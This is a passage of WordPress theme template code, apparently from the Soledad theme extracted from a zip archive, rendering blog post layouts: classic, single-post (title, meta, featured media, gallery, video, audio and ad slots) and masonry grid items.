                                src="<?php echo penci_holder_image_base( penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'w', false ), penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'h', false ) ); ?>" alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                                data-src="<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>"><?php endif; ?>
                        </a>
					<?php } else { ?>
                        <a <?php if ( get_theme_mod( 'penci_standard_thumb_crop' ) ): ?> class="penci-image-holder" style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>');"<?php endif; ?>
                                href="<?php the_permalink() ?>">
							<?php if ( ! get_theme_mod( 'penci_standard_thumb_crop' ) ): ?><?php the_post_thumbnail( 'penci-full-thumb' ); ?><?php endif; ?>
                        </a>
					<?php } ?>
                </div>
			<?php endif; ?>

		<?php endif; /* End Thumbnail */ ?>
	<?php endif; ?>

    <div class="standard-content">
        <div class="standard-main-content entry-content">
            <div class="post-entry standard-post-entry classic-post-entry <?php echo 'blockquote-' . $block_style; ?> <?php echo $heading_style; ?>">
				<?php 
				do_action( 'penci_before_classic_excerpt' );
				if ( get_theme_mod( 'penci_standard_auto_excerpt' ) || isset( $atts['wpblock'] ) ) { ?>
					<?php
					$default_excerpt         = get_theme_mod( 'penci_post_excerpt_length', 30 );
					$standard_excerpt_length = get_theme_mod( 'penci_standard_excerpt_length', $default_excerpt );
					penci_the_excerpt( $standard_excerpt_length, $post_id );
					?>
                    <div class="penci-more-link<?php if ( get_theme_mod( 'penci_standard_continue_reading_button' ) ): echo ' penci-more-link-button'; endif; ?>">
                        <a href="<?php the_permalink(); ?>"
                           class="more-link"><?php echo penci_get_setting( 'penci_trans_continue_reading' ); ?></a>
                    </div>
				<?php } else { ?>
					<?php the_content( penci_get_setting( 'penci_trans_continue_reading' ) ); ?>
					<?php wp_link_pages(); ?>
				<?php } ?>
            </div>
        </div>

		<?php if ( ! get_theme_mod( 'penci_standard_share_box' ) || ! get_theme_mod( 'penci_standard_date' ) || ! get_theme_mod( 'penci_standard_comment' ) || get_theme_mod( 'penci_standard_viewcount' ) ) : ?>
            <div class="penci-post-box-meta<?php if ( get_theme_mod( 'penci_standard_share_box' ) || ( get_theme_mod( 'penci_standard_date' ) && get_theme_mod( 'penci_standard_comment' ) && ! get_theme_mod( 'penci_standard_viewcount' ) ) ): echo ' center-inner'; endif; ?>">
				<?php if ( ! get_theme_mod( 'penci_standard_date' ) || ! get_theme_mod( 'penci_standard_comment' ) || ! get_theme_mod( 'penci_standard_viewcount' ) ) : ?>
                    <div class="penci-box-meta">
						<?php if ( ! get_theme_mod( 'penci_standard_date' ) ) : ?>
                            <span><?php penci_fawesome_icon( 'far fa-clock' ); ?><?php penci_soledad_time_link(); ?></span>
						<?php endif; ?>
						<?php if ( ! get_theme_mod( 'penci_standard_comment' ) ) : ?>
                            <span><a href="<?php comments_link(); ?> "><?php penci_fawesome_icon( 'far fa-comment' ); ?><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
						<?php endif; ?>
						<?php
						if ( get_theme_mod( 'penci_standard_viewcount' ) ) {
							penci_get_post_countview( get_the_ID() );
						}
						?>
                    </div>
				<?php endif; ?>
				<?php if ( ! get_theme_mod( 'penci_standard_share_box' ) ) : ?>
                    <div class="penci-post-share-box">
						<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
						<?php penci_soledad_social_share(); ?>
                    </div>
				<?php endif; ?>
            </div>
		<?php endif; ?>
    </div>

</article>

<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'article',
			'classes'    => 'standard-article classic-pitem post penci-infeed-data',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $j,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	);
}
?>

<?php $j ++; ?>
PK     N\RF%_X  X    content-single.phpnu [        <?php
/**
 * The template for displaying single pages.
 *
 * @since 1.0
 */
$block_style   = get_theme_mod( 'penci_blockquote_style' ) ? get_theme_mod( 'penci_blockquote_style' ) : 'style-1';
$heading_style = penci_get_heading_style();
$thumb_alt     = $thumb_title_html = '';
$simage_size   = get_theme_mod( 'penci_single_custom_thumbnail_size' ) ? get_theme_mod( 'penci_single_custom_thumbnail_size' ) : 'penci-full-thumb';
if ( penci_is_mobile() ) {
	$simage_size = 'penci-masonry-thumb';
}
if ( has_post_thumbnail() ) {
	$thumb_id         = get_post_thumbnail_id( get_the_ID() );
	$thumb_alt        = penci_get_image_alt( $thumb_id, get_the_ID() );
	$thumb_title_html = penci_get_image_title( $thumb_id );

	$image_width  = penci_get_image_data_based_post_id( get_the_ID(), $simage_size, 'w', false );
	$image_height = penci_get_image_data_based_post_id( get_the_ID(), $simage_size, 'h', false );
}
$single_style     = penci_get_single_style();
$hide_featuimg    = get_post_meta( get_the_ID(), 'penci_post_hide_featuimg', true );
$show_featuredimg = true;
if ( get_theme_mod( 'penci_post_thumb' ) ) {
	$show_featuredimg = false;
}
if ( $hide_featuimg == 'yes' ) {
	$show_featuredimg = false;
}
if ( $hide_featuimg == 'no' ) {
	$show_featuredimg = true;
}

$style_cscount = get_theme_mod( 'penci_single_style_cscount' );
$style_cscount = $style_cscount ? $style_cscount : 's1';
$hide_readtime = get_theme_mod( 'penci_single_hreadtime' );
?>
<article id="post-<?php the_ID(); ?>" class="post type-post status-publish<?php do_action( 'penci_post_class' ); ?>">

	<?php if ( 'style-2' != $single_style ) : ?>

		<?php if ( ! get_theme_mod( 'penci_move_title_bellow' ) ) : ?>

            <div class="header-standard header-classic single-header">
				<?php do_action( 'penci_before_main_post_title' ); ?>
				<?php if ( ! get_theme_mod( 'penci_post_cat' ) ) : ?>
                    <div class="penci-standard-cat"><span class="cat"><?php penci_category( '' ); ?></span></div>
				<?php endif; ?>


                <h1 class="post-title single-post-title entry-title"><?php the_title(); ?></h1>

				<?php penci_display_post_subtitle(); ?>
				<?php penci_soledad_meta_schema(); ?>
				<?php if ( ! get_theme_mod( 'penci_single_meta_author' ) || ! get_theme_mod( 'penci_single_meta_date' ) || ! get_theme_mod( 'penci_single_meta_comment' ) || get_theme_mod( 'penci_single_show_cview' ) || penci_isshow_reading_time( $hide_readtime ) ) : ?>
                    <div class="post-box-meta-single">
						<?php if ( ! get_theme_mod( 'penci_single_meta_author' ) ) : ?>
                            <span class="author-post byline"><span
                                        class="author vcard"><?php echo penci_get_setting( 'penci_trans_written_by' ); ?> <?php
									if ( function_exists( 'coauthors_posts_links' ) ) :
										penci_coauthors_posts_links();
									else :
										?>
                                        <a class="author-url url fn n"
                                           href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
									<?php endif; ?></span>
                            </span>
						<?php endif; ?>
						<?php penci_author_update_name(); ?>
						<?php if ( ! get_theme_mod( 'penci_single_meta_date' ) ) : ?>
                            <span><?php penci_soledad_time_link( 'single' ); ?></span>
						<?php endif; ?>
						<?php if ( ! get_theme_mod( 'penci_single_meta_comment' ) && 's1' != $style_cscount ) : ?>
                            <span><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></span>
						<?php endif; ?>
						<?php if ( get_theme_mod( 'penci_single_show_cview' ) ) : ?>
                            <span><i class="penci-post-countview-number"><?php echo penci_get_post_views( get_the_ID() ); ?></i> <?php echo penci_get_setting( 'penci_trans_countviews' ); ?></span>
						<?php endif; ?>
						<?php if ( penci_isshow_reading_time( $hide_readtime ) ) : ?>
                            <span class="single-readtime"><?php penci_reading_time(); ?></span>
						<?php endif; ?>
						<?php do_action( 'penci_single_meta_content' ); ?>
                    </div>
				<?php endif; ?>
				<?php do_action( 'penci_after_main_post_title' ); ?>
            </div>

			<?php
			if ( 'btitle-bcontent' == get_theme_mod( 'penci_single_poslcscount' ) || 'btitle' == get_theme_mod( 'penci_single_poslcscount' ) ) {
				get_template_part( 'template-parts/single-meta-comment-top' );
			}
			?>

			<?php if ( get_theme_mod( 'penci_post_adsense_one' ) ) : ?>
                <div class="penci-google-adsense-1">
					<?php echo do_shortcode( get_theme_mod( 'penci_post_adsense_one' ) ); ?>
                </div>
			<?php endif; ?>

			<?php
			$recipe_title = get_post_meta( get_the_ID(), 'penci_recipe_title', true );
			if ( has_shortcode( get_the_content(), 'penci_recipe' ) || $recipe_title ) {
				do_action( 'penci_recipes_action_hook' );
			}
			?>

		<?php endif; /* End check if not move title bellow featured image */ ?>

		<?php if ( penci_get_post_format( 'link' ) || penci_get_post_format( 'quote' ) ) : ?>
            <div class="standard-post-special post-image
			<?php
			if ( penci_get_post_format( 'quote' ) ) :
				?>
				penci-special-format-quote<?php endif; ?>
											<?php
			if ( ! has_post_thumbnail() || get_theme_mod( 'penci_standard_thumbnail' ) ) :
				echo ' no-thumbnail';
			endif;
			?>
">
				<?php if ( has_post_thumbnail() && ! get_theme_mod( 'penci_standard_thumbnail' ) ) : ?>
					<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                        <img class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image pc-singlep-img"
                             src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>"
                             alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                             width="<?php echo $image_width; ?>" height="<?php echo $image_height; ?>"
                             data-src="<?php echo penci_get_featured_image_size( get_the_ID(), $simage_size ); ?>">
					<?php } else { ?>
						<?php the_post_thumbnail( $simage_size, array( 'class' => 'pc-singlep-img' ) ); ?>
					<?php } ?>
				<?php endif; ?>
                <div class="standard-content-special">
                    <div class="format-post-box
					<?php
					if ( penci_get_post_format( 'quote' ) ) {
						echo ' penci-format-quote';
					} else {
						echo ' penci-format-link';
					}
					?>
					">
                        <span class="post-format-icon"><?php penci_fawesome_icon( 'fas fa-' . ( penci_get_post_format( 'quote' ) ? 'quote-left' : 'link' ) ); ?></span>
                        <p class="dt-special">
							<?php
							if ( penci_get_post_format( 'quote' ) ) {
								$dt_content = get_post_meta( $post->ID, '_format_quote_source_name', true );
								if ( ! empty( $dt_content ) ) :
									echo sanitize_text_field( $dt_content );
								endif;
							} else {
								$dt_content = get_post_meta( $post->ID, '_format_link_url', true );
								if ( ! empty( $dt_content ) ) :
									echo '<a href="' . esc_url( $dt_content ) . '" target="_blank">' . sanitize_text_field( $dt_content ) . '</a>';
								endif;
							}
							?>
                        </p>
						<?php
						if ( penci_get_post_format( 'quote' ) ) :
							$quote_author = get_post_meta( $post->ID, '_format_quote_source_url', true );
							if ( ! empty( $quote_author ) ) :
								echo '<div class="author-quote"><span>' . sanitize_text_field( $quote_author ) . '</span></div>';
							endif;
						endif;
						?>
                    </div>
                </div>
            </div>

		<?php elseif ( penci_get_post_format( 'gallery' ) ) : ?>

			<?php $images = get_post_meta( $post->ID, '_format_gallery_images', true ); ?>

			<?php
			if ( $images ) :
				$autoplay = ! get_theme_mod( 'penci_disable_autoplay_single_slider' ) ? 'true' : 'false';
				?>
                <div class="post-image">
                    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible"
                         data-auto="<?php echo $autoplay; ?>" data-lazy="true">
                        <div class="swiper-wrapper">
							<?php foreach (
								$images

								as $image
							) : ?>

								<?php $the_image = wp_get_attachment_image_src( $image, $simage_size ); ?>
								<?php
								$the_caption      = get_post_field( 'post_excerpt', $image );
								$image_alt        = penci_get_image_alt( $image, get_the_ID() );
								$image_title_html = penci_get_image_title( $image );
								?>
                                <div class="swiper-slide swiper-mark-item">
                                    <figure class="penci-swiper-mask item-link-relative">
										<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
											<?php echo penci_get_ratio_img_format_gallery( $the_image ); ?>
                                            <img class="penci-lazy"
                                                 src="<?php echo penci_holder_image_base( $the_image[1], $the_image[2] ); ?>"
                                                 width="<?php echo $the_image[1]; ?>"
                                                 height="<?php echo $the_image[2]; ?>"
                                                 data-src="<?php echo esc_url( $the_image[0] ); ?>"
                                                 alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?> />
										<?php } else { ?>
                                            <img src="<?php echo esc_url( $the_image[0] ); ?>"
                                                 width="<?php echo $the_image[1]; ?>"
                                                 height="<?php echo $the_image[2]; ?>"
                                                 alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?> />
										<?php } ?>
										<?php if ( get_theme_mod( 'penci_post_gallery_caption' ) && $the_caption ) : ?>
                                            <p class="penci-single-gallery-captions penci-single-gaformat-caption"><?php echo $the_caption; ?></p>
										<?php endif; ?>
                                    </figure>
                                </div>
							<?php endforeach; ?>
                        </div>
                    </div>
                </div>
			<?php endif; ?>

		<?php elseif ( penci_get_post_format( 'video' ) ) : ?>

            <div class="post-image">
				<?php $penci_video = get_post_meta( $post->ID, '_format_video_embed', true ); ?>
				<?php if ( wp_oembed_get( $penci_video ) ) : ?>
					<?php echo wp_oembed_get( $penci_video ); ?>
				<?php else : ?>
					<?php echo $penci_video; ?>
				<?php endif; ?>
            </div>

		<?php elseif ( penci_get_post_format( 'audio' ) ) : ?>

            <div class="standard-post-image post-image audio
			<?php
			if ( ! has_post_thumbnail() || get_theme_mod( 'penci_post_thumb' ) ) :
				echo ' no-thumbnail';
			endif;
			?>
			">
				<?php if ( has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) : ?>
					<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                        <img class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image pc-singlep-img"
                             width="<?php echo $image_width; ?>" height="<?php echo $image_height; ?>"
                             src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>"
                             alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                             data-src="<?php echo penci_get_featured_image_size( get_the_ID(), $simage_size ); ?>">
					<?php } else { ?>
						<?php the_post_thumbnail( $simage_size, array( 'class' => 'pc-singlep-img' ) ); ?>
					<?php } ?>
				<?php endif; ?>
                <div class="audio-iframe">
					<?php
					$penci_audio     = get_post_meta( $post->ID, '_format_audio_embed', true );
					$penci_audio_str = substr( $penci_audio, - 4 );
					?>
					<?php if ( wp_oembed_get( $penci_audio ) ) : ?>
						<?php echo wp_oembed_get( $penci_audio ); ?>
					<?php elseif ( $penci_audio_str == '.mp3' ) : ?>
						<?php echo do_shortcode( '[audio src="' . esc_url( $penci_audio ) . '"]' ); ?>
					<?php else : ?>
						<?php echo $penci_audio; ?>
					<?php endif; ?>
                </div>
            </div>

		<?php else : ?>

			<?php if ( has_post_thumbnail() ) : ?>
				<?php if ( $show_featuredimg == true ) : ?>
                    <div class="post-image">
						<?php
						if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) ) {
							$thumb_url = wp_get_attachment_url( get_post_thumbnail_id( $post->ID ) );
							echo '<a href="' . esc_url( $thumb_url ) . '" data-rel="penci-gallery-image-content">';
							?>
							<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                                <img class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image pc-singlep-img"
                                     width="<?php echo $image_width; ?>" height="<?php echo $image_height; ?>"
                                     src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>"
                                     alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                                     data-sizes="<?php echo penci_image_datasize( $simage_size, 'penci-masonry-thumb' ); ?>"
                                     data-srcset="<?php echo penci_image_img_srcset( get_the_ID(), $simage_size, 'penci-masonry-thumb' ); ?>"
                                     data-src="<?php echo penci_get_featured_image_size( get_the_ID(), $simage_size ); ?>">
							<?php } else { ?>
								<?php the_post_thumbnail( $simage_size, array( 'class' => 'pc-singlep-img' ) ); ?>
							<?php } ?>
							<?php
							echo '</a>';
						} else {
							?>
							<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                                <img class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image pc-singlep-img"
                                     width="<?php echo $image_width; ?>" height="<?php echo $image_height; ?>"
                                     src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>"
                                     alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                                     data-src="<?php echo penci_get_featured_image_size( get_the_ID(), $simage_size ); ?>">
							<?php } else { ?>
								<?php the_post_thumbnail( $simage_size, array( 'class' => 'pc-singlep-img' ) ); ?>
							<?php } ?>
							<?php
						}
						if ( get_the_post_thumbnail_caption() && get_theme_mod( 'penci_post_thumb_caption' ) ) {
							echo '<div class="penci-featured-caption">' . get_the_post_thumbnail_caption() . '</div>';
						}
						?>
                    </div>
				<?php endif; ?>
			<?php endif; ?>

		<?php endif; ?>

	<?php endif; /* End check if single style 2 is enable */ ?>

	<?php if ( 'style-2' == $single_style ) : ?>
		<?php if ( get_theme_mod( 'penci_post_adsense_one' ) ) : ?>
            <div class="penci-google-adsense-1">
				<?php echo do_shortcode( get_theme_mod( 'penci_post_adsense_one' ) ); ?>
            </div>
		<?php endif; ?>
	<?php endif; ?>

	<?php if ( get_theme_mod( 'penci_move_title_bellow' ) && 'style-2' != $single_style ) : ?>

        <div class="header-standard header-classic single-header">
			<?php do_action( 'penci_before_main_post_title' ); ?>
			<?php if ( ! get_theme_mod( 'penci_post_cat' ) ) : ?>
                <div class="penci-standard-cat"><span class="cat"><?php penci_category( '' ); ?></span></div>
			<?php endif; ?>


            <h1 class="post-title single-post-title entry-title"><?php the_title(); ?></h1>

			<?php penci_display_post_subtitle(); ?>
			<?php penci_soledad_meta_schema(); ?>

			<?php if ( ! get_theme_mod( 'penci_single_meta_author' ) || ! get_theme_mod( 'penci_single_meta_date' ) || ! get_theme_mod( 'penci_single_meta_comment' ) || get_theme_mod( 'penci_single_show_cview' ) ) : ?>
                <div class="post-box-meta-single">
					<?php if ( ! get_theme_mod( 'penci_single_meta_author' ) ) : ?>
                        <span class="author-post byline"><span
                                    class="author vcard"><?php echo penci_get_setting( 'penci_trans_written_by' ); ?> <?php
								if ( function_exists( 'coauthors_posts_links' ) ) :
									penci_coauthors_posts_links();
								else :
									?>
                                    <a class="author-url url fn n"
                                       href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
								<?php endif; ?></span></span>
					<?php endif; ?>
					<?php penci_author_update_name(); ?>
					<?php if ( ! get_theme_mod( 'penci_single_meta_date' ) ) : ?>
                        <span><?php penci_soledad_time_link( 'single' ); ?></span>
					<?php endif; ?>
					<?php if ( ! get_theme_mod( 'penci_single_meta_comment' ) && 's1' != $style_cscount ) : ?>
                        <span><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_single_show_cview' ) ) : ?>
                        <span><i class="penci-post-countview-number"><?php echo penci_get_post_views( get_the_ID() ); ?></i> <?php echo penci_get_setting( 'penci_trans_countviews' ); ?></span>
					<?php endif; ?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ) : ?>
						<span class="single-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
					<?php do_action( 'penci_single_meta_content' ); ?>
                </div>
			<?php endif; ?>
			<?php do_action( 'penci_after_main_post_title' ); ?>
        </div>

		<?php if ( get_theme_mod( 'penci_post_adsense_one' ) ) : ?>
            <div class="penci-google-adsense-1">
				<?php echo do_shortcode( get_theme_mod( 'penci_post_adsense_one' ) ); ?>
            </div>
		<?php endif; ?>

		<?php
		$recipe_title = get_post_meta( get_the_ID(), 'penci_recipe_title', true );
		if ( has_shortcode( get_the_content(), 'penci_recipe' ) || $recipe_title ) {
			do_action( 'penci_recipes_action_hook' );
		}
		?>

	<?php endif; /* End check if not move title bellow featured image */ ?>

	<?php
	$single_poslcscount = penci_get_setting( 'penci_single_poslcscount' );
	if ( 'above-content' == $single_poslcscount || 'abovebelow-content' == $single_poslcscount ) {
		get_template_part( 'template-parts/single', 'meta-comment-top' );
	}
	?>
    <div class="post-entry <?php echo 'blockquote-' . $block_style; ?> <?php echo $heading_style; ?>">
        <div class="inner-post-entry entry-content" id="penci-post-entry-inner">

			<?php do_action( 'penci_action_before_the_content' ); ?>

			<?php
			if ( get_theme_mod( 'penci_single_delayed_content' ) && penci_is_mobile() ) {
				?>
                <div data-id="section-p-content-<?php echo get_the_ID(); ?>"
                     data-url="<?php echo esc_url( add_query_arg( [ 'penci_get_delayed_sections' => 'content' ], get_permalink() ) ); ?>"
                     class="pcfb-single-content-delayed pc-content-delayed"></div>
				<?php
			} else {

				$smartlists_enable = get_post_meta( get_the_ID(), 'pcsml_smartlists_enable', true );
				$smartlists_style  = get_post_meta( get_the_ID(), 'pcsml_smartlists_style', true );
				$smartlists_h      = get_post_meta( get_the_ID(), 'pcsml_smartlists_h', true );
				$smartlists_order  = get_post_meta( get_the_ID(), 'pcsml_smartlists_order', true );

				if ( 'yes' == $smartlists_enable ) {
					$content = get_the_content();
					$content = apply_filters( 'the_content', $content );
					$content = str_replace( ']]>', ']]&gt;', $content );
					remove_filter( 'the_content', 'penci_insert_post_content_ads' );
					add_filter( 'penci_toc_maybe_apply_the_content_filter', function () {
						return false;
					}, 10 );
					$smartlists_content = penci_smartlists( [
						'style'        => $smartlists_style,
						'content'      => $content,
						'order'        => $smartlists_order,
						'h'            => $smartlists_h,
						'sm_title_tag' => $smartlists_h,
					] );
					if ( $smartlists_content ) {
						echo '<div class="pcsml-el pcsml-customized-ver scmchck">' . $smartlists_content . '</div>';
					}
				} else {
					the_content();
				}
			}
			?>

			<?php do_action( 'penci_action_after_the_content' ); ?>

            <div class="penci-single-link-pages">
				<?php wp_link_pages(); ?>
            </div>

			<?php if ( ! get_theme_mod( 'penci_post_tags' ) && has_tag() ) : ?>
				<?php if ( is_single() ) : ?>
                    <div class="post-tags">
						<?php the_tags( wp_kses( '', penci_allow_html() ), '', '' ); ?>
                    </div>
				<?php endif; ?>
			<?php endif; ?>

			<?php do_action( 'penci_end_single_content' ); ?>
        </div>
    </div>

	<?php if ( get_theme_mod( 'penci_post_adsense_two' ) ) : ?>
        <div class="penci-google-adsense-2">
			<?php echo do_shortcode( get_theme_mod( 'penci_post_adsense_two' ) ); ?>
        </div>
	<?php endif; ?>

	<?php
	if ( 'below-content' == $single_poslcscount || 'abovebelow-content' == $single_poslcscount || 'btitle-bcontent' == $single_poslcscount ) {
		get_template_part( 'template-parts/single', 'meta-comment' );
	}
	?>

	<?php
	if ( get_theme_mod( 'penci_single_sec_delayed' ) ) {
		$is_log = is_user_logged_in() ? 'log' : 'no-log';
		?>
        <div data-id="section-p-<?php echo get_the_ID() . '-' . $is_log; ?>"
             data-url="<?php echo esc_url( add_query_arg( [ 'penci_get_delayed_sections' => 'sections' ], get_permalink() ) ); ?>"
             class="pcfb-single-sections-delayed pc-content-delayed"></div>
		<?php
	} else {
		get_template_part( 'template-parts/single-sections' );
	}
	?>

	<?php if ( get_theme_mod( 'penci_related_post_popup' ) ) : ?>
        <div class="penci-flag-rlt-popup"></div><?php endif; ?>

</article>
PK     N\>?      content-masonry.phpnu [        <?php
/**
 * Template loop for masonry style
 */
if ( ! isset ( $j ) ) { $j = 1; } else { $j = $j; }
$post_id = get_the_ID();
$heading_title_tag = get_theme_mod( 'penci_grid_title_tag', 'h2' );
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
?>
<article id="post-<?php the_ID(); ?>" class="item item-masonry grid-masonry hentry<?php if( get_theme_mod('penci_grid_meta_overlay') ): echo ' grid-overlay-meta'; endif; ?>">
	<?php if ( has_post_thumbnail() ) : ?>
		<div class="thumbnail">
			<?php
			do_action( 'penci_bookmark_post' );
			/* Display Review Piechart  */
			if( function_exists('penci_display_piechart_review_html') ) {
				penci_display_piechart_review_html( get_the_ID() );
			}
			?>
			<a href="<?php penci_permalink_fix() ?>" class="post-thumbnail<?php echo penci_class_lightbox_enable(); ?>">
				<?php 
				$src_full = penci_get_featured_image_size( get_the_ID(), 'full' );
				$src_check = substr( $src_full, -4 );
				if( $src_check == '.gif' ) {
					echo penci_get_featured_image_padding_markup( get_the_ID(), 'full' );
					the_post_thumbnail( 'full' );
				} else {
					echo penci_get_featured_image_padding_markup( get_the_ID(), 'penci-masonry-thumb' );
					the_post_thumbnail( 'penci-masonry-thumb' );
				}
				?>
			</a>
			<?php if( ! get_theme_mod('penci_grid_icon_format') ): ?>
				<?php if ( has_post_format( 'video' ) ) : ?>
					<a href="<?php the_permalink() ?>" class="icon-post-format" aria-label="Icon"><?php penci_fawesome_icon('fas fa-play'); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'gallery' ) ) : ?>
					<a href="<?php the_permalink() ?>" class="icon-post-format" aria-label="Icon"><?php penci_fawesome_icon('far fa-image'); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'audio' ) ) : ?>
					<a href="<?php the_permalink() ?>" class="icon-post-format" aria-label="Icon"><?php penci_fawesome_icon('fas fa-music'); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'link' ) ) : ?>
					<a href="<?php the_permalink() ?>" class="icon-post-format" aria-label="Icon"><?php penci_fawesome_icon('fas fa-link'); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'quote' ) ) : ?>
					<a href="<?php the_permalink() ?>" class="icon-post-format" aria-label="Icon"><?php penci_fawesome_icon('fas fa-quote-left'); ?></a>
				<?php endif; ?>
			<?php endif; ?>
		</div>
	<?php endif; ?>

	<div class="grid-header-box">
		<?php if ( ! get_theme_mod( 'penci_grid_cat' ) ) : ?>
			<span class="cat"><?php penci_category( '' ); ?></span>
		<?php endif; ?>
		<<?php echo $heading_title_tag;?> class="penci-entry-title entry-title grid-title <?php echo $heading_title_tag_class;?>"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></<?php echo $heading_title_tag;?>>
		<?php do_action( 'penci_after_post_title' ); ?>
		<?php penci_soledad_meta_schema(); ?>
		<?php $hide_readtime = get_theme_mod( 'penci_grid_readingtime' ); ?>
		<?php if ( ! get_theme_mod( 'penci_grid_date' ) || ! get_theme_mod( 'penci_grid_author' ) || get_theme_mod( 'penci_grid_countviews' ) || get_theme_mod( 'penci_grid_comment_other' ) || penci_isshow_reading_time( $hide_readtime ) ) : ?>
			<div class="grid-post-box-meta">
				<?php do_action( 'penci_grid_meta' ); ?>
				<?php if ( ! get_theme_mod( 'penci_grid_author' ) ) : ?>
					<span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting('penci_trans_by'); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
							penci_coauthors_posts_links();
						else: ?>
                            <a class="author-url url fn n"
                               href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
						<?php endif; ?></span>
				<?php endif; ?>
				<?php if ( ! get_theme_mod( 'penci_grid_date' ) ) : ?>
					<span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
				<?php endif; ?>
				<?php if ( get_theme_mod( 'penci_grid_comment_other' ) ) : ?>
					<span class="otherl-comment"><a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 '. penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
				<?php endif; ?>
				<?php
				if ( get_theme_mod( 'penci_grid_countviews' ) ) {
					echo '<span>';
					echo penci_get_post_views( get_the_ID() );
					echo ' ' . penci_get_setting( 'penci_trans_countviews' );
					echo '</span>';
				}
				?>
				<?php if( penci_isshow_reading_time( $hide_readtime ) ): ?>
					<span class="otherl-readtime"><?php penci_reading_time(); ?></span>
				<?php endif; ?>
				<?php do_action( 'penci_extra_meta' ); ?>
			</div>
		<?php endif; ?>
	</div>

	<?php if( get_the_excerpt() && ! get_theme_mod( 'penci_grid_remove_excerpt' ) ): ?>
		<div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
			<?php 
			do_action( 'penci_before_post_excerpt' );
			if( ! get_theme_mod( 'penci_excerptcharac' ) ){
				the_excerpt();
			} else {
				$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
				penci_the_excerpt( $excerpt_length, $post_id );
			}
			?>
		</div>
	<?php endif; ?>

	<?php if( get_theme_mod( 'penci_grid_add_readmore' ) ): 
	$class_button = '';
	if( get_theme_mod( 'penci_grid_remove_arrow' ) ): $class_button .= ' penci-btn-remove-arrow'; endif;
	if( get_theme_mod( 'penci_grid_readmore_button' ) ): $class_button .= ' penci-btn-make-button'; endif;
	if( get_theme_mod( 'penci_grid_readmore_align' ) ): $class_button .= ' penci-btn-align-' . get_theme_mod( 'penci_grid_readmore_align' ); endif;
	?>
		<div class="penci-readmore-btn<?php echo $class_button; ?>">
			<a class="penci-btn-readmore" href="<?php the_permalink(); ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?><?php penci_fawesome_icon('fas fa-angle-double-right'); ?></a>
		</div>
	<?php endif; ?>

